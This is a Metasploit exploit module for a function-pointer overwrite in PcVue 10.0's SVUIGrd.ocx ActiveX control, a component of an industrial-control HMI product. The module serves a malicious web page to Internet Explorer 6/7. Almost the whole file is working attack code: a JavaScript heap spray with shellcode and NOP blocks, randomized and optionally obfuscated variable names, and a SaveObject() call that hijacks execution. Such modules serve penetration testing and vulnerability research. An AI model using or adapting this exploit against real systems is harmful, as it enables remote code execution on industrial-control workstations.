PcVue 10.0 SV.UIGrdCtrl.1 - 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability



##

# $Id: pcvue_func.rb 13889 2011-10-12 10:57:31Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability",
            'Description'    => %q{
                This module exploits a function pointer control within SVUIGrd.ocx of PcVue 10.0.
                By setting a dword value for the SaveObject() or LoadObject(), an attacker can
                overwrite a function pointer and execute arbitrary code.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Luigi Auriemma', # original find
                    'mr_me <steventhomasseeley[at]gmail-com>',     # msf module
                    'TecR0c <roccogiovannicalvi[at]gmail-com >',# msf module
                ],
            'Version'        => '$Revision: 13889 $',
            'References'     =>
                [
                    [ 'BID', '49795'],
                    [ 'URL', 'http://aluigi.altervista.org/adv/pcvue_1-adv.txt'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Payload'        =>
                {
                    'Space'           => 1024,
                    'BadChars'        => "\x00\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        #IE 6/7 on Widnows XP and Vista
                        'Internet Explorer 6 / Internet Explorer 7', 
                        { 
                            'Ret'    => 0x0a0a0a0a,
                            'Offset' => 1000 
                        } 
                    ]
                ],
            'DisclosureDate' => 'Oct 5 2011',
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
                    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]),
                ], self.class)
    end

    def on_request_uri(cli, request)

        #If not IE, we don't continue
        agent = request.headers['User-Agent']
        if agent !~ /MSIE [6|7]\.0/
            print_error("Target not supported: #{agent.to_s}")
            send_not_found(cli)
            return
        end

        # Encode the shellcode
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Setup exploit buffers
        nops      = Rex::Text.to_unescape([target.ret].pack('V'))
        ret       = "0x%08x" % target.ret

        blocksize = 0x50000
        fillto    = 200

        # Randomize the javascript variable names
        obj_name     = rand_text_alpha(rand(100) + 1)
        j_shellcode  = rand_text_alpha(rand(100) + 1)
        j_nops       = rand_text_alpha(rand(100) + 1)
        j_ret        = rand_text_alpha(rand(100) + 1)
        j_headersize = rand_text_alpha(rand(100) + 1)
        j_slackspace = rand_text_alpha(rand(100) + 1)
        j_fillblock  = rand_text_alpha(rand(100) + 1)
        j_block      = rand_text_alpha(rand(100) + 1)
        j_memory     = rand_text_alpha(rand(100) + 1)
        j_counter    = rand_text_alpha(rand(30) + 2)
        j_txt         = rand_text_alpha(rand(8) + 4)

        js = <<-EOF
        var #{j_shellcode} = unescape('#{shellcode}');
        var #{j_nops} = unescape("#{nops}");
        var #{j_headersize} = 20;
        var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
        while(#{j_nops}.length < #{j_slackspace}) {
                #{j_nops} += #{j_nops};
        }
        var #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
        var #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
        while((#{j_block}.length + #{j_slackspace}) < #{blocksize}) {
                #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
        }

        #{j_memory} = new Array();
        for(#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++){
                #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode} ;
        }

        function main(){ 
            #{obj_name}.SaveObject("#{j_txt}.txt", #{ret}, 0);
        }
        EOF

        js = js.gsub(/^\t\t/, '')

        #JS obfuscation on demand
        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
            main_sym = js.sym('main')
        else
            main_sym = "main"
        end

        content = <<-EOF
        <html>
        <body>
        <object classid='clsid:2BBD45A5-28AE-11D1-ACAC-0800170967D9' id='#{obj_name}' ></object>
        <script language='javascript'>
        #{js}
        #{main_sym}();
        </script>
        </body>
        </html>
        EOF

        #Remove the extra tabs from content
        content = content.gsub(/^\t\t/, '')

        print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}")
        send_response(cli, content, {'Content-Type'=>'text/html'})
    end
end


=begin
Tested successfully on the following platforms:
 - PcVue 10.0 (SVUIGrd.ocx v1.5.1.0) on Internet Explorer 6 & 7, Windows XP SP3

Class SVUIGrdCtrl
ProgID: SV.UIGrdCtrl.1
GUID: {2BBD45A5-28AE-11D1-ACAC-0800170967D9}
Number of Interfaces: 1
Default Interface: ISVUIGrd
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
=end